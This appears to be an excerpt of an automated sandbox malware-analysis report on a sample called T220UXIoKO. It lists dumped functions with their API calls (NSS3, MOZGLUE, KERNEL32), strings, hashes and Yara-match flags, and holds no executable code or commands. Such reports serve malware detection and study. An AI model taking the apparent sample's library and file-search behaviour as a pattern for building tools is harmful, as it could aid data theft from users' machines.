realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C857FFA,?,6C859767,?,8B7874C0,0000A48E), ref: 6C86EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C857FFA,?,6C859767,?,8B7874C0,0000A48E), ref: 6C86EE14

Part of subcall function 6C840BE0: malloc.MOZGLUE(6C838D2D,?,00000000,?), ref: 6C840BF8
Part of subcall function 6C840BE0: TlsGetValue.KERNEL32(6C838D2D,?,00000000,?), ref: 6C840C15

memcpy.VCRUNTIME140(?,?,6C859767,00000000,00000000,6C857FFA,?,6C859767,?,8B7874C0,0000A48E), ref: 6C86EE33

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 6d7718ced453571895cec683cc578cb8c65bd0b2e608169fa125a5d66fbff81a
Instruction ID: 0b81c18dffe100a926b3d66c2c0e1fb242266bae55c6ff3102bce21fc2ddee77
Opcode Fuzzy Hash: 6d7718ced453571895cec683cc578cb8c65bd0b2e608169fa125a5d66fbff81a
Instruction Fuzzy Hash: DD11CA71900706AFD7309E6ADE84B467368EF0035DF204935E919C6E40E730F464C7E1

Function 6C808DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C808DE7
EnterCriticalSection.KERNEL32 ref: 6C808DFC
PR_Unlock.NSS3 ref: 6C808E2D
PR_SetError.NSS3 ref: 6C808E49

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: a653abc33e5dda07d5b622cd814f8ea55cedfd0bc74d007bcdc14dd953dba1e5
Instruction ID: 1a6f3348743d66e814b6a519cc1a00933435aade3fa4102bd9d83388236d25c2
Opcode Fuzzy Hash: a653abc33e5dda07d5b622cd814f8ea55cedfd0bc74d007bcdc14dd953dba1e5
Instruction Fuzzy Hash: 42114FB1609A159BD710BF78D648569BBF4FF05359F014D6ADC889BB00E730E8A4CBD1

Function 00417980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E00,00000000,?), ref: 004179B0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E00,00000000,?), ref: 004179B7
GetLocalTime.KERNEL32(?,?,?,?,?,00420E00,00000000,?), ref: 004179C4
wsprintfA.USER32 ref: 004179F3

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: d25a51ab8cf6fccfa60616151632c2f03c452b8beb60607c736287f9abe72aa2
Instruction ID: 87643aaeb61937c0b28f46190d625ee9f9fa63f6271d25fb840393839df263de
Opcode Fuzzy Hash: d25a51ab8cf6fccfa60616151632c2f03c452b8beb60607c736287f9abe72aa2
Instruction Fuzzy Hash: 6D1139B2944118ABCB14DFC9DD45BBEB7F9FB4DB11F10421AF605A2280E3395940CBB5

Function 6C88AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C875F17,?,?,?,?,?,?,?,?,6C87AAD4), ref: 6C88AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C875F17,?,?,?,?,?,?,?,?,6C87AAD4), ref: 6C88ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C87AAD4), ref: 6C88ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C87AAD4), ref: 6C88ACDB

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 6f9f3521039a6fee31a211b68dc716c37be8e4457cbebab79f23d09ac09588c1
Instruction ID: 72b16901ec309b68e167f7baece2c2051e97b1f50b9b0bbdd09b1d67359b4727
Opcode Fuzzy Hash: 6f9f3521039a6fee31a211b68dc716c37be8e4457cbebab79f23d09ac09588c1
Instruction Fuzzy Hash: 1C015EB1602B159BEB70DF2ADA08793B7E9BF00699B114839D85EC3E80E735F054CB91

Function 6C88AC00 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,6C875D40,00000000,?,?,6C866AC6,6C87639C), ref: 6C88AC2D

Part of subcall function 6C82ADC0: TlsGetValue.KERNEL32(?,6C80CDBB,?,6C80D079,00000000,00000001), ref: 6C82AE10
Part of subcall function 6C82ADC0: EnterCriticalSection.KERNEL32(?,?,6C80CDBB,?,6C80D079,00000000,00000001), ref: 6C82AE24
Part of subcall function 6C82ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C80D079,00000000,00000001), ref: 6C82AE5A
Part of subcall function 6C82ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C80CDBB,?,6C80D079,00000000,00000001), ref: 6C82AE6F
Part of subcall function 6C82ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C80CDBB,?,6C80D079,00000000,00000001), ref: 6C82AE7F
Part of subcall function 6C82ADC0: TlsGetValue.KERNEL32(?,6C80CDBB,?,6C80D079,00000000,00000001), ref: 6C82AEB1
Part of subcall function 6C82ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C80CDBB,?,6C80D079,00000000,00000001), ref: 6C82AEC9

PK11_FreeSymKey.NSS3(?,6C875D40,00000000,?,?,6C866AC6,6C87639C), ref: 6C88AC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,6C875D40,00000000,?,?,6C866AC6,6C87639C), ref: 6C88AC59
free.MOZGLUE(8CB6FF01,6C866AC6,6C87639C,?,?,?,?,?,?,?,?,?,6C875D40,00000000,?,6C87AAD4), ref: 6C88AC62

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID:
API String ID: 1595327144-0
Opcode ID: dbe6ae386a234afffe6ce99493464eafb3b5c636e7828abd6a6849edfc283132
Instruction ID: 9bd5f259d51e2e22fd79024a2fd2057dab191b4469ee0f83d9f94f58892f878c
Opcode Fuzzy Hash: dbe6ae386a234afffe6ce99493464eafb3b5c636e7828abd6a6849edfc283132
Instruction Fuzzy Hash: A9018FB56012009FDB20CF18EAC0B8677A9AF0475DF188468ED098FB86D735E844CBA1

Function 6C8FCC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C8FCC61
free.MOZGLUE ref: 6C8FCC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C8FCC80
free.MOZGLUE(?), ref: 6C8FCC87

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: 64f1435205009f3a9a758ad5580ba1ea5af4ff84c28200a53e070ca9be631e12
Instruction ID: 44a6578317132e456b363ad1315605ed9dec4a55a5d2c918ba571a05857da961
Opcode Fuzzy Hash: 64f1435205009f3a9a758ad5580ba1ea5af4ff84c28200a53e070ca9be631e12
Instruction Fuzzy Hash: 23E03076704A189BCB10EFA8DC4488677BCEF492703150625E695D3700D331F905CBA1

Function 0042F528 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0042F553

Strings

csm, xrefs: 0042F5CE
f, xrefs: 0042F566

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: __except_validate_context_record
String ID: csm$f
API String ID: 1467352782-629598281
Opcode ID: aecf78802aee832b63764bc5ca15af5a639ec6e9994e2b90133b87141bd138a8
Instruction ID: 45195d4db30f21c06815b41e4412628cf9a8ec47c188fc930a70e0abbe326d16
Opcode Fuzzy Hash: aecf78802aee832b63764bc5ca15af5a639ec6e9994e2b90133b87141bd138a8
Instruction Fuzzy Hash: 1141C33070CA149BDB18EF1CE48562577E0FB54350FD0427EE84AC3266DB78ED868B8A

Function 6C834D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C834D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C834DE6

Strings

%d.%d, xrefs: 6C834DDE

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: a0baaab16c71174db9a630f03c41a56333427562979f07d838d63f7aae1b6819
Instruction ID: 1c2d2bfc175739ec1447cf452a271ae629c15dacfe0015e4b1817c97695fb01d
Opcode Fuzzy Hash: a0baaab16c71174db9a630f03c41a56333427562979f07d838d63f7aae1b6819
Instruction Fuzzy Hash: 1631FDB2D042286BEB205BE59D05BFF7B68DFC0308F011829ED0997781EB319905CBE1

Function 00418B60 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60timeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

GetSystemTime.KERNEL32(?,0091CAD8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Strings

cI@, xrefs: 00418BB1, 00418BE1, 00418BE4
cI@, xrefs: 00418B6C, 00418BE5, 00418BF0, 00418C04, 00418BD3, 00418BF3

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: SystemTimelstrcpy
String ID: cI@$cI@
API String ID: 62757014-1697673767
Opcode ID: 728e3afec194442a0a20c9b4cf47b2a0a0f7365ad80767aaeb7a96b2b5f46ac6
Instruction ID: 15f3dfc6f8d56a301bf8b2a7a9260479b6db203ca669f730be279af5ebf73ee3
Opcode Fuzzy Hash: 728e3afec194442a0a20c9b4cf47b2a0a0f7365ad80767aaeb7a96b2b5f46ac6
Instruction Fuzzy Hash: 7111E971D00008AFCB04EFA9C8919EE77B9EF58314F04C05EF01667241DF38AA86CBA6

Function 6C703CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C703D19
mozalloc_abort.MOZGLUE(?), ref: 6C703D6C

Strings

d, xrefs: 6C703D58

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 039179f4f23ce5e29406bb516539b2163b36865e3b001dc70ad58f5e0d764a52
Instruction ID: d5c45ff04c31f8df7d8e37cb4f545e456f19420938fa78b6b238a4ab3c47ece0
Opcode Fuzzy Hash: 039179f4f23ce5e29406bb516539b2163b36865e3b001dc70ad58f5e0d764a52
Instruction Fuzzy Hash: 34112371F04688DBDB00DF69C9198EDB7B5EF96318B44C329DC489B602FB30A584C394

Function 6C6D6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0Kpl,?,6C704B30,80000000,?,6C704AB7,?,6C6C43CF,?,6C6C42D2), ref: 6C6D6C42

Part of subcall function 6C6DCA10: malloc.MOZGLUE(?), ref: 6C6DCA26

moz_xmalloc.MOZGLUE(0Kpl,?,6C704B30,80000000,?,6C704AB7,?,6C6C43CF,?,6C6C42D2), ref: 6C6D6C58

Strings

0Kpl, xrefs: 6C6D6C33, 6C6D6C41, 6C6D6C57

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0Kpl
API String ID: 1967447596-3332051225
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: b77a80a845eb8788f8e772da7ef8ce33dbe5f1ada59d61315824bbd49949a282
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 51E086F1A105055A9B0899BCAC0956A72C88B193A87094E75E823C6BD8FA94F554819D

Function 00413BDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16filestringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,?,?,00000104,?,00000104), ref: 00413935
StrCmpCA.SHLWAPI(?,00420F70), ref: 00413947
StrCmpCA.SHLWAPI(?,00420F74), ref: 0041395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00413C67
FindClose.KERNEL32(000000FF), ref: 00413C7C

Strings

!=A, xrefs: 00413C82

Memory Dump Source

Source File: 00000000.00000002.2933833911.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2933833911.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000048F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.0000000000492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2933833911.000000000065C000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_T220UXIoKO.jbxd

Yara matches

Similarity

API ID: Find$CloseFileNextlstrcat
String ID: !=A
API String ID: 3840410801-2919091325
Opcode ID: 28feb7c8be81de4ab4b55bfcc7f9479259f5a9bafbd7cecf7f5c2433705f41d5
Instruction ID: 20ec2b31cb4d991c835852fde49fc2354676703d0d5a57c203257a76fc367b8d
Opcode Fuzzy Hash: 28feb7c8be81de4ab4b55bfcc7f9479259f5a9bafbd7cecf7f5c2433705f41d5
Instruction Fuzzy Hash: FCD012756401096BCB20EF90DD589EA7779DB55305F0041C9B40EA6150EB399B818B95

Function 6C7D0F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C7D0936,FFFFE8AE,?,6C7616B7,00000000,?,6C7D0936,00000000,?,6C76204A), ref: 6C7D0F1B

Part of subcall function 6C7D1370: GetSystemInfo.KERNEL32(?,?,?,?,6C7D0936,?,6C7D0F20,6C7D0936,FFFFE8AE,?,6C7616B7,00000000,?,6C7D0936,00000000), ref: 6C7D138F

PR_NewLogModule.NSS3(clock,6C7D0936,FFFFE8AE,?,6C7616B7,00000000,?,6C7D0936,00000000,?,6C76204A), ref: 6C7D0F25

Part of subcall function 6C7D1110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C7D0936,00000001,00000040), ref: 6C7D1130
Part of subcall function 6C7D1110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C7D0936,00000001,00000040), ref: 6C7D1142
Part of subcall function 6C7D1110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C7D0936,00000001), ref: 6C7D1167

Strings

clock, xrefs: 6C7D0F20

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 70e0ac4f4116e1efd4838eae8c7b62d9dcb57c3c8921148b02ce5dfb98d04f57
Instruction ID: 2d90939df34ac812403d1eca944d84af24e900454711ec073e31fd326bd3107c
Opcode Fuzzy Hash: 70e0ac4f4116e1efd4838eae8c7b62d9dcb57c3c8921148b02ce5dfb98d04f57
Instruction Fuzzy Hash: FDD0123160854897C73176979D4DBA6B7ECD7C32BEF228836E10881D104A75E0DAD2B5

Function 6C840DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C840DF5
TlsGetValue.KERNEL32 ref: 6C840E2D
TlsGetValue.KERNEL32 ref: 6C840E58
TlsGetValue.KERNEL32 ref: 6C840E84

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
